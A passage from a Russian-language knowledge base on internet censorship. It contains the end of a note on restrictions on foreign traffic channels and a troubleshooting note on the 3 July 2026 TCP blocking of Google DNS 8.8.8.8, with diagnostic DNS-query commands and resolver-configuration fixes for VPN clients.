Минцифры. По словам Гуденко, порядок пока **никто не прошёл**, а критерии операторам не объявили. - Около **20 компаний** — владельцев зарубежных каналов — подписали обязательство их не наращивать (по сообщениям источников РБК, по просьбе Минцифры, в рамках борьбы с VPN). - Трафик **VPN для операторов выглядит как зарубежный**, поэтому под удар попадает любой обходной трафик. Летом международный трафик сезонно падает, к декабрю–январю растёт до пика. - Когда трафик упрётся в потолок каналов, а расширять нельзя, операторам останется фильтровать его или **«поставить экономический фильтр»** — поднять цену доступа к загранице. Прогноз: первые последствия — **август–сентябрь 2026**. - Худший сценарий (по версии Гуденко): розничный тариф **делят надвое** — внутрироссийский интернет (по нынешней цене или дешевле) и зарубежный (дороже). Метлюк: крупные операторы начнут вводить **дифференцированные тарифы**. ## «На пальцах»: давят не сайт, а трубу > [!example] Не закрыли магазин, а сузили дорогу к нему > Прежние методы — это про то, *что* проходит: [[desync|DPI и блокировки]] режут конкретные сайты по имени (SNI) или адресу (IP). Здесь другое — ограничивают, *сколько* вообще может пройти за границу. Представьте единственное шоссе из города наружу: машины (трафик) едут как и ехали, но новые полосы строить запретили. Пока машин мало (лето) — свободно. К зиме поток растёт, шоссе встаёт в глухую пробку — и владелец дороги либо пускает вперёд тех, кто платит больше, либо вводит платный въезд «за рубеж». Сайты при этом формально не заблокированы — просто доехать до них дорого и медленно. ## Что произошло: согласительный порядок, а не «мораторий» Важная точность от самого Гуденко: формально речь идёт **не о моратории**, а о **согласительном порядке** — с марта 2026 операторы, желающие арендовать или ввести в эксплуатацию новые зарубежные каналы, должны получать разрешение Минцифры. По его данным, на момент выступления этот порядок **в России не прошёл никто**, а критерии, по которым решают «разрешить расширение или нет», операторам **не сообщили**. Параллельно, по сообщениям источников РБК от середины апреля 2026, около **20 компаний** — владельцев зарубежных каналов связи — подписали обязательство (по просьбе Минцифры) эти каналы **не наращивать**. Причина — борьба с VPN: трафик VPN-сервисов для операторов **неотличим от зарубежного**, и чем больше им пользуются, тем сильнее растёт «иностранный» трафик. ## Почему это бьёт по всем (и по VPN) Логика «экономического фильтра», как её излагают в источнике: 1. **Трафик сезонный.** Обычно с марта по июль объём падает, затем растёт, достигая пика к декабрю–январю. 2026 год не исключение: после введения порядка в марте трафик несколько месяцев снижался, но к августу должен снова пойти вверх. 2. **Расширять нельзя.** Как только международный трафик превысит пропускную способность имеющихся каналов, а новые ввести не разрешат, операторы окажутся перед выбором. 3. **Выбор невелик.** Либо **фильтровать** трафик, либо **«поставить экономический фильтр»** — поднять стоимость доступа к зарубежным сервисам (формулировка одного из собеседников РБК). > [!note] Аномалия трафика: «телевизор стал пустоват» > Показательное наблюдение ТТК: в 2026 году у фиксированных операторов трафик должен был расти (мобильные сети страдают от периодических отключений мобильного интернета в регионах), но вышло наоборот — рост не опередил, а просел. По словам представителя ТТК, сказывается работа ГРЧЦ (Главный радиочастотный центр, в ведении Роскомнадзора): «когда не сильно подготовленный пользователь тем или иным способом не может посмотреть то, что хочет, он ничего не смотрит» — «наш телевизор просто стал пустоват». И поведение трафика «непредсказуемо»: «выключили Roblox — трафик исчез, включили — вернулся за два дня» (Roblox был заблокирован в декабре 2025, доступ восстановлен в середине июня 2026 после выполнения требований). ## Худший сценарий: два тарифа — рунет и заграница По оценке Гуденко (подчёркнуто как **прогноз**, зависящий от будущих критериев Минцифры и от того, введут ли мобильные операторы плату за международный трафик): - При полном заполнении каналов операторы будут **расчищать полосу под более рентабельных клиентов**, освобождая ёмкость там, где возможно. - Операторам с большой розницей, вероятно, придётся **разделить продукт на два тарифа**: только внутрироссийский интернет (по текущей цене или чуть дешевле) и тариф с зарубежным доступом (дороже). - Николай Метлюк (Piter-IX) согласен: «в случае ограничений операторы, особенно крупные, начнут вводить **дифференцированные тарифы**». ## Соседние шаги той же линии «Экономический фильтр» — не отдельная мера, а звено в ряду ограничений вокруг VPN и зарубежного доступа (по материалу РБК и сообщениям рынка, весна–лето 2026): - С начала апреля 2026 крупнейшие мобильные операторы **запретили пополнять Apple ID** со счёта телефона. - С середины апреля около **20 популярных площадок** ограничили доступ пользователям с включённым VPN. - Обсуждается **доплата за зарубежный трафик** сверх лимита 15 ГБ на мобильных сетях — вопрос перенесли на осень 2026. ## «Загон с двух сторон»: снаружи санкции, изнутри контроль В сообществе популярна рамка, в которой ограничение доступа строится **симметрично с двух сторон** одновременно: - **Снаружи** (санкции и комплаенс): западные удостоверяющие центры отзывают TLS-сертификаты у подсанкционных, приложения вычищают из сторов, режут доступ к ИИ-сервисам — то есть отрезают российский сегмент от глобального «траст-периметра». Эту сторону мы разбирали в [[VLESS/dpi-tls-june-2026|заметке про DPI и TLS]]. - **Изнутри** (контроль): ТСПУ и ГРЧЦ/РКН наращивают фильтрацию, режут VPN-протоколы, добавляют «экономический фильтр» на сам канал; обсуждаются авторизация по паспорту и база IMEI, обкатываются «суверенные» интранет-песочницы. - **Сходятся** обе линии к одному — заграница становится дозированной, поднадзорной и платной. > [!warning] Где здесь хедж: симбиоз ≠ единый заговор > Эффектная формулировка «всё по единому ТЗ / строят новую Матрицу» — это **риторика**, а не доказанный факт. Достовернее осторожная версия: действуют **две независимые силы** (санкционное давление снаружи и стремление к контролю изнутри), которые **случайно усиливают друг друга**, а не управляются из единого центра. Часть пунктов разной степени готовности: «экономический фильтр» и блокировки — уже реальность или близкий прогноз, а **авторизация по паспорту и база IMEI — пока на стадии обсуждения**, не внедрения. Не приписывайте намерению то, что объясняется совпадением стимулов. ## Гос-VPN как логичный финал Связка «дефицит канала + платный доступ к загранице» делает **государственный, „согласованный“ VPN** естественным следующим шагом: если зарубежный трафик становится узким и дорогим, единственный официально разрешённый шлюз наружу превращается одновременно в **кассу** (монетизация дефицита) и в **точку надзора** (логирование и фильтрация по белым спискам). Это прямое продолжение логики [[subnet-whitelist-blocking-2026|блокировки по белому списку]]: не «выключить интернет рубильником», а оставить заграницу доступной **избранно, дорого и под присмотром**. Народная формула этого режима — «интернет будет, просто не для всех и дорого». ## 📚 См. также - [[subnet-whitelist-blocking-2026|Блок подсетей по белому списку]] — как режут облака; та же логика «дозированной заграницы», но на уровне DPI/подсетей - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]] — «внешняя» сторона: давление на TLS-обходы и траст-периметр - [[tspu-whitelist-cloudflare-june-2026|Инцидент 23 июня 2026]] — как ТСПУ ведут себя на практике - [[Белые списки]] — разные смыслы «белых списков» в теме блокировок - [[DPI/vpn-blocking-wave-forecast-summer-2026|Прогноз новой волны блокировок VPN (лето–осень 2026)]] — почему осенний срок объясняется не только ТСПУ: сезонный пик трафика и сужение зарубежных каналов ухудшают VPN без DPI - 🔗 [Материал РБК «За доступ к зарубежному интернету могут начать брать отдельную плату» (25.06.2026)](https://www.rbc.ru/technology_and_media/25/06/2026/6a3d08009a7947d4f00db75e) — первоисточник --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Zapret/economic-filter-foreign-channels-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-03 tags: - dns - doh - dot - quic - tspu - rkn - incident - vpn - amazon - troubleshooting aliases: - Инцидент 3 июля 2026 - Блокировка 8.8.8.8 - Google DNS заблокирован - Отвалился DoH Google - Перестали работать VPN 3 июля 2026 - Не работают серверы EA июль 2026 - Battlefield FIFA не подключается июль 2026 - Сбой интернета 3 июля 2026 link: --- # 🚫 Инцидент 3 июля 2026: 8.8.8.8 заблокирован по TCP (DoH/DoT) — «умерли» VPN; параллельно ложились серверы EA > [!info] О чём заметка > Утром **3 июля 2026** (около 10:00, по сообщениям пользователей) IP-адрес публичного DNS-сервера Google **8.8.8.8** перестал отвечать в России **по TCP**: не работают **DoH** (DNS-over-HTTPS, порт 443/TCP), **DoT** (DNS-over-TLS, порт 853/TCP) и DNS по TCP/53. При этом **UDP не тронут**: классический DNS по UDP/53 и даже **DoH по HTTP/3 (QUIC, UDP/443) к тому же 8.8.8.8 работают**, как и **8.8.4.4** — второй адрес того же Google DNS — и Google DNS по IPv6. Главный видимый эффект — **массово «сломались» VPN и прокси-клиенты**, у которых в конфиге DNS прописан именно `8.8.8.8`: туннель жив, но имена сайтов не резолвятся, и всё выглядит как «VPN перестал работать». В те же сутки прошли ещё две волны: вечером 2 июля 2026 **легли игровые серверы EA** (Battlefield, FIFA, Titanfall 2; по версии сообщества — снова ковровый блок подсетей Amazon, к середине дня 3 июля правило откатили), а около **12:00 МСК 3 июля** случился **синхронный всплеск жалоб «упал интернет»** сразу в нескольких регионах и на разнородные сервисы. Здесь — что именно заблокировано, почему это кладёт VPN-клиенты и игры, и как починить за минуту. > [!warning] Статус данных: сообщения пользователей, не контролируемый замер > Вся картина ниже — **сводка сообщений пользователей из чатов за 3 июля 2026** плюс скриншоты агрегатора сбоев Detector404, а не официальная информация или систематический замер. География и операторы по сообщениям: **Москва** (Билайн AS8402, Т2 — по сути сеть Ростелекома), **Самара** и **ЦФО** (Эртелеком / Дом.ру), **юг России** (Билайн), плюс ТТК, Ростелеком и МТС без указания города. Картина **неравномерна даже внутри одного оператора**: у части абонентов Ростелекома 8.8.8.8 в тот же момент работал нормально. ТСПУ (Технические Средства Противодействия Угрозам — DPI-оборудование Роскомнадзора на сетях операторов) настраиваются неравномерно по операторам, регионам и отдельным узлам, поэтому у вас картина может отличаться, а само состояние может измениться в любой день. Версия о том, что это блокировка на ТСПУ и тем более «тест зарезания сторонних DNS», — **интерпретация сообщества**, а не подтверждённый факт. ## TL;DR - С ~10:00 3 июля 2026 **8.8.8.8 недоступен по TCP** у ряда российских операторов (ТТК, Ростелеком, ЭР-Телеком, МТС, МегаФон, Билайн, Т2, Дом.ру): DoH (443/TCP), DoT (853/TCP) и DNS по TCP/53 падают в таймаут; режется TCP и на другие порты (подтверждено `mtr --tcp`). **ICMP (`ping 8.8.8.8`) при этом отвечает** — то есть блокируется именно TCP, а не весь IP-адрес. - **Основной удар — по TCP; UDP в целом проходит, но не гарантированно**: классический DNS по UDP/53 к 8.8.8.8 у большинства отвечает (`nslookup youtube.com 8.8.8.8`), и — важная деталь — **DoH по HTTP/3 (QUIC, UDP/443) к тому же 8.8.8.8 тоже работает**. Но часть пользователей отмечает, что и по UDP/53 Google «далеко не всегда отвечает» — то ли местами задет и UDP, то ли сказывается рейт-лимит. Итог: это блок по связке **IP + транспорт (в первую очередь TCP)**, а не полное выпиливание адреса. - **8.8.4.4 работает целиком** (и DoH, и DoT, и UDP/53), **Google DNS по IPv6 тоже работает** (`2001:4860:4860::8888` / `2001:4860:4860::8844`). То есть заблокирован именно адрес 8.8.8.8, а не сервис Google DNS как таковой. - Каскадный эффект: **VPN/прокси-клиенты с DNS `https://8.8.8.8/...` или `tls://8.8.8.8` перестали резолвить домены** — «сайт не найден», проваленный пинг-тест в клиенте, YouTube с ошибкой «Нет подключения к интернету». Ломались HAPP, Throne, v2rayN, nekobox, YogaDNS — при живом туннеле (в т.ч. VLESS-XHTTP с XMUX). А вот клиенты, гоняющие DoH по HTTP/3 (например, Clash с включённым «Предпочитать H3»), могли продолжать работать через тот же 8.8.8.8 как ни в чём не бывало. - Быстрый фикс: **сменить в конфиге DNS `8.8.8.8` на `8.8.4.4`** (или другой резолвер) либо **пустить DNS-запросы через туннель**, где блок ТСПУ не виден. Рабочий приём из практики — жёстко привязать `dns.google` к `8.8.4.4` (в hosts или в клиенте): и TLS-сертификат остаётся валиден, и IP рабочий. - **Картина неравномерна даже внутри одного оператора.** У части абонентов Ростелекома 8.8.8.8 работает штатно, у других — заблокирован; это указывает на **раскатку по отдельным узлам/регионам**, а не на единое правило по всей сети оператора. - **Фильтр стоит на абонентских сетях, а не на хостинге.** Проверка через globalping из разных сетей: у ЭР-Телеком (Москва), Ростелекома (Ханты-Мансийск), МегаФона (Москва), МТС (Новосибирск) — таймаут, а из дата-центра **Selectel (СПб) 8.8.8.8:443 отвечает** (штатный редирект `302 → dns.google`). То есть режут трафик к 8.8.8.8 у конечных пользователей, а не сам сервер Google — из ДЦ он доступен. - Это не «DoH запретили как протокол»: другие DoH-провайдеры в целом работают. Заблокирована конкретная связка IP:порт — хотя есть и единичные сообщения о более широкой деградации DoH у отдельных операторов (см. ниже). - **Параллельная волна тех же суток:** с ~21:00 МСК 2 июля 2026 были недоступны игровые серверы **EA** (Battlefield, FIFA, Titanfall 2). По версии сообщества, блокировали не EA адресно, а **снова подсети Amazon (AWS)** ковровым блоком; к середине дня 3 июля правило, по сообщениям, откатили. Подробнее — в разделе ниже. - **Около 12:00 МСК 3 июля** — ещё одна волна: синхронный всплеск жалоб «упал интернет» сразу в нескольких регионах (Москва, Подмосковье, Петербург, Самарская область — по графикам Detector404) и на разнородные сервисы (Авито, облако Keenetic/Netcraze и др.). Версия сообщества — очередная попытка зарезать VPN, задевающая всё подряд; официальных подтверждений нет. ## На пальцах: почему «сломался VPN», если сломался DNS > [!example] Аналогия: справочная служба > DNS — это справочная служба: прежде чем «позвонить» сайту, устройство спрашивает у неё номер (IP-адрес) по имени (`youtube.com`). В конфигах VPN-клиентов часто прописана одна конкретная справочная — Google по адресу 8.8.8.8, причём по «защищённой линии» (DoH/DoT). 3 июля 2026 эту линию перерезали: сам телефон (туннель VPN) исправен, гудок есть, но **узнать номер абонента больше не у кого** — и любой звонок «по имени» заканчивается ошибкой «такой сайт не найден». Достаточно вписать в конфиг соседнее окно той же справочной (8.8.4.4) — и всё оживает. > > Отсюда и обманчивая картина: часть сайтов работает (их адреса остались в кеше или зашиты по IP), большинство — нет. Пользователь видит «VPN отвалился», грешит на протокол или баги клиента, хотя туннель цел — мёртв только резолвер. ## Что наблюдали 3 июля 2026 Сводка по сообщениям из разных сетей (Москва — Билайн AS8402 и Т2, Самара и ЦФО — Эртелеком/Дом.ру, юг России — Билайн; плюс ТТК, Ростелеком, МТС): | Проверка | Результат | |---|---| | `8.8.8.8` — DoH (TCP/443) | ❌ таймаут соединения | | `8.8.8.8` — DoT (TCP/853) | ❌ таймаут | | `8.8.8.8` — DNS по TCP/53 | ❌ таймаут (подтверждено на Т2 и Билайн Москва) | | `8.8.8.8` — TCP на другие порты | ❌ режется (подтверждено `mtr --tcp 8.8.8.8`) | | `8.8.8.8` — ICMP (`ping`) | ✅ **отвечает** — блокируется TCP, а не весь IP | | `8.8.8.8` — классический DNS (UDP/53) | ⚠️ у большинства работает (`nslookup` отвечает; в Самаре на Дом.ру достаточно повесить 8.8.8.8 на интерфейс Windows), но часть сообщает, что Google по UDP/53 «далеко не всегда отвечает» | | `8.8.8.8` — DoH по HTTP/3 (QUIC, UDP/443) | ✅ **работает, не заблокирован** | | `8.8.8.8` — DoQ (DNS-over-QUIC, UDP/853) | — не проверить: Google этот протокол на публичном DNS, по сообщениям, пока не поддерживает | | `8.8.8.8:443` из дата-центра (Selectel, СПб) | ✅ отвечает (`302 → dns.google`) — фильтр на абонентских сетях, не на сервере | | `8.8.4.4` — DoH/DoT/UDP-53 | ✅ работает полностью | | Google DNS по IPv6 (`2001:4860:4860::8888`, `2001:4860:4860::8844`) | ✅ работают | | Другие популярные DNS-серверы | ✅ в целом работают (но см. оговорку про Билайн ниже) | Начало — около 10 утра 3 июля 2026 (успешный ответ 8.8.4.4 в тесте ниже датирован `03 Jul 2026 10:06 GMT`). Симптомы схожи у разных провайдеров и городов — что указывает на централизованную настройку ТСПУ, а не аварию у одного оператора; при этом раскатка идёт **неравномерно по узлам** — у части абонентов того же Ростелекома 8.8.8.8 продолжал работать. Наглядно это видно в проверке через [globalping](https://globalping.io/) (сервис распределённых сетевых замеров) из разных сетей 3 июля 2026: у абонентских операторов — таймаут, из дата-центра Selectel — штатный ответ сервера Google: ![[globalping-8888-3july2026.png]] *`globalping http 8.8.8.8` из пяти сетей: ЭР-Телеком (Москва, AS25446), Ростелеком (Ханты-Мансийск, AS12389), МегаФон (Москва, AS12714), МТС (Новосибирск, AS8359) — Request timeout; Selectel (СПб, AS49505) — `HTTP/1.1 302`, редирект на `dns.google`. Блокируют трафик к 8.8.8.8 у конечных пользователей, а не сам сервер.* > [!note] Противоречие в сообщениях про порт 53 — разрешилось в пользу «блок только TCP» > Одни пользователи писали «8.8.8.8 заблокирован по 53/853/443», другие — «обычный 53 работает везде». Противоречия нет: по уточнениям с Т2 и Билайн Москва блок накрывает **TCP-порты 53/853/443**, а классический DNS ходит по **UDP/53** и проходит — `nslookup` по умолчанию использует именно UDP. У части операторов картина может быть шире или уже. > [!note] Дыра в блоке: HTTP/3 (QUIC) не зарезан > DoH-запрос к `8.8.8.8:443` по **UDP (HTTP/3, поверх QUIC)** проходит, хотя тот же запрос по TCP — в таймауте. Отсюда неожиданный эффект: клиенты, предпочитающие H3 для DoH (в Clash — тумблер «Предпочитать H3»: «Использовать HTTP/3 для DNS DoH»), продолжали резолвить через 8.8.8.8, и у их владельцев «ничего не сломалось». Возможная причина разнобоя в наблюдениях «у меня работает / у меня нет» — именно транспорт, по которому клиент ходит к резолверу (у части систем DoH может уходить по HTTP/3 автоматически). Полагаться на эту дыру не стоит: QUIC у российских операторов и так под периодическим давлением, и лазейку могут закрыть в любой момент. ![[clash-dns-prefer-h3-3july2026.png]] *Тот самый тумблер в DNS-настройках Clash: «Предпочитать H3 — использовать HTTP/3 для DNS DoH». С ним DoH к 8.8.8.8 уходит по QUIC (UDP/443) и блок TCP не задевает.* ### Каскад: «отвалились VPN», хотя туннели живы Типичные жалобы того утра: «перестал работать даже VLESS-XHTTP с XMUX», «часть сайтов работает, но большинство — “сайт не найден”», «пинг-тест из клиента проваливается», «Ютуб открывается, но пишет “Нет подключения к интернету”». Затронуты разные клиенты: **HAPP** (телефон), **Throne** (десктоп), **v2rayN**, **nekobox** (конфиги вида `https://8.8.8.8/dns_query`), **YogaDNS**. Общий знаменатель у всех — **DNS через 8.8.8.8 по DoH/DoT, идущий напрямую (мимо туннеля)**. Многие конфиги специально пускают DNS-запросы в обход туннеля ради скорости — и именно они уткнулись в блок ТСПУ. Насколько глубоко 8.8.8.8 прошит в типичных конфигах, видно на примере DNS-настроек Clash-клиента: адрес стоит и в «DNS-серверах по умолчанию» (через них резолвятся адреса самих DoH-серверов), и первым в основном списке DNS: ![[clash-dns-servers-8888-3july2026.png]] *Типичные DNS-настройки Clash-клиента (скриншот от 3 июля 2026): `8.8.8.8` — и в серверах по умолчанию, и первым в списке основных DNS.* Показательно, что пострадавшие сначала грешили на баги клиентов (например, на проблемный tun-режим v2rayN под Linux) — классический случай, когда «не работает программа» оказывается симптомом изменений на сети, а не поломкой софта (об этом принципе — [[Zapret2/symptom-not-cause|«не работает» — это симптом, а не причина]]). > [!note] Отдельное наблюдение: деградация DoH шире, чем 8.8.8.8 (Билайн, юг России) > Один пользователь (Билайн, юг России) сообщил, что у него в YogaDNS в то же утро отваливались по таймауту **и другие DoH/DoT/DNSCrypt-провайдеры** (включая Cloudflare), причём ~50% запросов проходили, остальные рандомно сбрасывались. Это **единичное сообщение**, противоречащее общей картине «остальные резолверы работают» — возможно, у отдельных операторов параллельно идёт более широкий эксперимент с фильтрацией стороннего шифрованного DNS. Похожие сигналы были и раньше: в конце июня 2026 у Мегафона в ряде регионов переставали работать сторонние DoH/DoT-резолверы целиком (см. [[tspu-whitelist-cloudflare-june-2026#DNS-проблемы у мобильных операторов|раздел про DNS-проблемы в инциденте 23 июня 2026]]). ### 📉 Полдень 3 июля: вторая волна — «упал интернет» по всей стране Около **12:00 МСК 3 июля 2026** — через пару часов после блокировки 8.8.8.8 — прошла вторая, более широкая волна: у многих пропадал интернет целиком или отваливались отдельные сервисы. На агрегаторе сбоев Detector404 это видно как **синхронный всплеск жалоб сразу в нескольких регионах** в интервале примерно **11:00–12:30**: Москва (до ~147 жалоб на пике, 2,1 тыс. за сутки), Московская область (пик в 12:05 — 102 жалобы), Санкт-Петербург (до ~74 на пике, 1,5 тыс. за сутки; плюс отдельный утренний всплеск около 07:00), Самарская область (до ~41 на пике, 503 за сутки). Как и в [[tspu-whitelist-cloudflare-june-2026|инциденте 23 июня 2026]], одновременный пик у независимых регионов и сервисов указывает не на аварию у кого-то одного, а на **общее событие в сети**. ![[detector404-moscow-3july2026.png]] *Detector404, Москва, 3 июля 2026: резкий пик жалоб около 11:00–12:30.* ![[detector404-mosobl-3july2026.png]] *Московская область: на пике 12:05 — 102 жалобы за 15 минут при обычном фоне в 10–20.* ![[detector404-spb-3july2026.png]] *Санкт-Петербург: тот же полуденный пик плюс отдельный всплеск около 07:00 утра.* ![[detector404-samara-3july2026.png]] *Самарская область: полуденный пик повторяет московский по форме — волна была не региональной.* По конкретным сервисам в тот же день (панель Detector404 на вторую половину дня 3 июля): резкий пик жалоб у **Авито** (4,1 тыс. за сутки), жалобы на **ГдеБЕНЗ**, **Суточно.ру**, провайдера **«Телеком Сервис»**; у **Electronic Arts** — статус «Сбой сети» с 807 жалобами за сутки, но лишь 10 за последний час — хвост вечерней волны 2 июля, что согласуется с сообщениями об откате правила (см. следующий раздел). ![[detector404-services-3july2026.png]] *Панель сервисов Detector404 во второй половине дня 3 июля 2026: жалобы на разнородные, не связанные между собой сервисы — от Авито до серверов EA.* Ещё один штрих той же волны: **облако Keenetic (Netcraze)** — сервис удалённого управления роутерами — перестало открываться и с домашнего подключения, и через мобильную связь, но **открывалось через VPN/прокси**. Раз через зарубежный туннель сервис жив, авария не на стороне облака — что-то фильтрует путь к нему из российских сетей. > [!warning] «Пытаются заблокировать VPN, но не получается» — гипотеза, а не факт > Ведущая в сообществе версия полуденной волны: это продолжение попыток зарезать VPN-протоколы/инфраструктуру, где под замах раз за разом попадает всё подряд — от досок объявлений до облака роутеров. Версия согласуется с почерком последних недель (ковровые блоки подсетей, быстрые откаты, см. [[tspu-whitelist-cloudflare-june-2026|23 июня]] и [[DPI/tspu-false-blocks-june-2026|разбор сопутствующего ущерба ТСПУ]]), но никаких официальных подтверждений нет, а по одним графикам жалоб причину не установить. ### 🎮 Параллельная волна: вечером 2 июля легли игровые серверы EA (похоже, снова подсети Amazon) На те же сутки пришлась вторая, формально не связанная с DNS волна блокировок. По сообщениям пользователей: - **С ~21:00 МСК 2 июля 2026** стали недоступны **игровые серверы EA (Electronic Arts)**: игроки не могли зайти в онлайн **Battlefield, FIFA, Titanfall 2** — игры не подключались к серверам при живом интернете. - **К середине дня 3 июля** правило, по сообщениям пользователей, **откатили** — доступ к серверам EA вернулся. - Той же ночью один из пользователей не мог открыть форум **ntc.party** (площадка обсуждения сетевой цензуры), но сам не исключал локальную причину — он в это время экспериментировал с параметром `quic_initial` в обходных средствах, — так что этот эпизод к общей волне привязан слабо. **Версия сообщества о причине:** блокировали не EA адресно, а **опять целые подсети Amazon (AWS)** — облака, в котором живёт игровая инфраструктура EA. То есть игры стали таким же сопутствующим ущербом коврового блока по диапазонам хостера, каким 23 июня 2026 были Discord и Twitch при перетряске списков Cloudflare. Механика таких ковровых блоков «по белому списку» (режется весь диапазон, наружу выпускают только явно разрешённое) разобрана в [[subnet-whitelist-blocking-2026|заметке про блок подсетей Cloudflare и Amazon]], а хроника аналогичного инцидента — в [[tspu-whitelist-cloudflare-june-2026|инциденте 23 июня 2026]]. > [!warning] Версия про Amazon не подтверждена > Что резали именно подсети AWS, а не что-то другое, — **предположение сообщества** по косвенным признакам (характер отказа, быстрый откат, совпадение с почерком предыдущих инцидентов). Замеров конкретных заблокированных диапазонов в сообщениях не приводилось. Быстрый откат в течение суток похож на тест или ошибку конфигурации — как и с «белыми списками» 23 июня 2026. ## Диагностика: как убедиться, что дело в 8.8.8.8 - [ ] **DoH к 8.8.8.8** — должен упасть в таймаут, если вы под блоком: ```bash curl -v --connect-timeout 5 -H 'accept: application/dns-json' 'https://8.8.8.8/resolve?name=youtube.com&type=A' ``` Результат при блоке (реальный вывод от 3 июля 2026): ``` * Trying 8.8.8.8:443... * ipv4 connect timeout after 5000ms, move on! * Failed to connect to 8.8.8.8 port 443 after 5059 ms: Timeout was reached curl: (28) Failed to connect to 8.8.8.8 port 443 after 5059 ms: Timeout was reached ``` - [ ] **Тот же запрос к 8.8.4.4** — проходит целиком: TLS-рукопожатие с валидным сертификатом `CN=dns.google`, ответ `HTTP/2 200` с адресами `youtube.com`: ```bash curl -v --connect-timeout 5 -H 'accept: application/dns-json' 'https://8.8.4.4/resolve?name=youtube.com&type=A' ``` - [ ] **Классический DNS (UDP/53)** — работает к обоим адресам: ```bash nslookup youtube.com 8.8.8.8 nslookup youtube.com 8.8.4.4 ``` - [ ] **DoH по HTTP/3 (QUIC) к 8.8.8.8** — по наблюдениям, проходит, несмотря на блок TCP (нужен curl, собранный с поддержкой HTTP/3): ```bash curl -v --http3-only --connect-timeout 5 -H 'accept: application/dns-json' 'https://8.8.8.8/resolve?name=youtube.com&type=A' ``` - [ ] **Отделить TCP-блок от полного IP-блока:** `ping 8.8.8.8` (ICMP) в этом инциденте **отвечает**, а `mtr --tcp 8.8.8.8` — нет. Если пинг идёт, а TCP-коннект не устанавливается — блокируется именно TCP, сам адрес «живой». - [ ] Если DoH к 8.8.8.8 по TCP в таймауте, а к 8.8.4.4 (или к 8.8.8.8 по HTTP/3) проходит — это **блок по IP:порт на сети оператора**, чинить нужно конфиг DNS, а не переустанавливать клиент и не менять протокол туннеля. Сочетание «TCP-коннект не устанавливается вовсе (таймаут на этапе `Trying ...:443`), а UDP к тому же адресу ходит» — почерк блокировки по связке IP+порт/протокол, а не DPI-фильтра по содержимому: до TLS-рукопожатия, где DPI мог бы что-то анализировать, дело просто не доходит. Где в конвейере ТСПУ стоят такие проверки — в [[DPI/dpi-analysis-pipeline|разборе воронки проверок DPI]]. ## Что делать > [!tip] Суть фикса > Заблокирован один конкретный IP-адрес резолвера. Достаточно **увести DNS с 8.8.8.8** — на соседний адрес, на другого провайдера или внутрь туннеля. - [ ] **Самое быстрое:** в конфиге клиента (HAPP, Throne, nekobox, v2rayN, YogaDNS, Xray/sing-box) заменить `8.8.8.8` на **`8.8.4.4`**: `https://8.8.8.8/dns_query` → `https://8.8.4.4/dns_query`, `tls://8.8.8.8` → `tls://8.8.4.4`. Это тот же Google DNS. - [ ] **С доменом `dns.google` — аккуратно.** Сам по себе домен резолвится в **оба** адреса (8.8.8.8 и 8.8.4.4), так что клиент может снова попасть на заблокированный — поэтому «просто впиши домен вместо IP» помогает не всегда. Но есть рабочий приём из практики: **жёстко привязать `dns.google` к `8.8.4.4`** (строка в hosts или в клиенте). Тогда одновременно и TLS-сертификат валиден (у Google он выписан на `dns.google`, а не на голый IP), и адрес рабочий — у пользователей, кто так сделал, DoH сразу заработал. - [ ] **Либо сменить провайдера DNS**: Cloudflare (`1.1.1.1`), AdGuard DNS, Quad9 и др. — по сообщениям за 3 июля 2026, другие популярные резолверы в целом работали (с оговоркой про единичные случаи деградации DoH — см. выше). - [ ] **Либо пустить DNS-запросы через туннель** (remote DNS через прокси/VPN, а не напрямую): внутри туннеля блок ТСПУ не виден, и 8.8.8.8 снова доступен. Это системное решение — следующая блокировка очередного резолвера вас уже не заденет. - [ ] **Правильная схема на будущее — разнести domestic и remote DNS.** В клиентах с раздельными DNS (Xray/v2rayNG, sing-box, Happ) настраивают **два** резолвера: `remote` — для проксируемых доменов, заворачивается **в туннель** (можно даже голый 53/udp — внутри туннеля это безопасно); `domestic` — для всего остального, идёт **напрямую наружу** и должен указывать на резолвер, который у вашего оператора **гарантированно работает** (провайдерский DNS, 8.8.4.4, 1.1.1.1). Тогда блокировка одного публичного адреса не роняет резолвинг целиком. Это же снимает **проблему «курицы и яйца»**: если адрес самого VPN-сервера в конфиге задан доменом (а не IP), его резолвит именно `domestic`-резолвер напрямую — и подключиться к туннелю удаётся, даже когда `remote`-DNS (8.8.8.8) недоступен. В Happ отдельной возни с доменами не требуется — достаточно развести `domestic` и `remote`, и он не гонит через remote то, что не проксируется. - [ ] **Если есть IPv6** — можно использовать Google DNS по IPv6: `2001:4860:4860::8888` / `2001:4860:4860::8844` (по сообщениям, IPv6-адреса блок не затронул). - [ ] **Если нужен именно 8.8.8.8 — уйти с TCP.** Работают два обходных транспорта: **классический DNS по UDP/53** (в Самаре на Дом.ру достаточно было выключить DoH на роутере и прописать 8.8.8.8 на сетевой интерфейс Windows) — но он **нешифрованный**, оператор видит и может подменять запросы; и **DoH по HTTP/3** (в Clash — тумблер «Предпочитать H3») — шифрование сохраняется, но лазейка живёт ровно до тех пор, пока QUIC к этому адресу не зарезали тоже. - [ ] **Проверить, чем на самом деле резолвит ваш клиент.** В Clash-клиентах включённое «Переопределение настроек DNS» подставляет свой список резолверов (часто с 8.8.8.8 в «DNS-серверах по умолчанию» — они используются для резолвинга адресов самих DoH-серверов) — при диагностике это маскирует, какой именно резолвер отваливается. Отключение переопределения возвращает DNS из профиля/системы. - [ ] После правки — сбросить кеш DNS и перезапустить клиент, затем повторить пинг-тест/открыть пару сайтов. ![[clash-dns-override-toggle-3july2026.png]] *Тумблер «Переопределение настроек DNS» в настройках Clash (здесь выключен): во включённом состоянии клиент подменяет DNS из профиля своим списком — при диагностике сначала выясните, какой список реально активен.* > [!warning] 8.8.4.4 — не гарантия на будущее > Если версия про «тест зарезания сторонних DNS» верна, следующим может стать любой другой публичный резолвер, включая 8.8.4.4 и 1.1.1.1. Надёжнее либо возить DNS внутри туннеля, либо держать в конфиге несколько запасных резолверов разных провайдеров. ## Контекст и гипотезы: зачем блокировать половину Google DNS Достоверно известно только само наблюдение: **8.8.8.8 стал недоступен по TCP у нескольких операторов одновременно, 8.8.4.4 не тронут**. Стратегическая рамка при этом известна: у РКН и Минцифры есть опубликованные 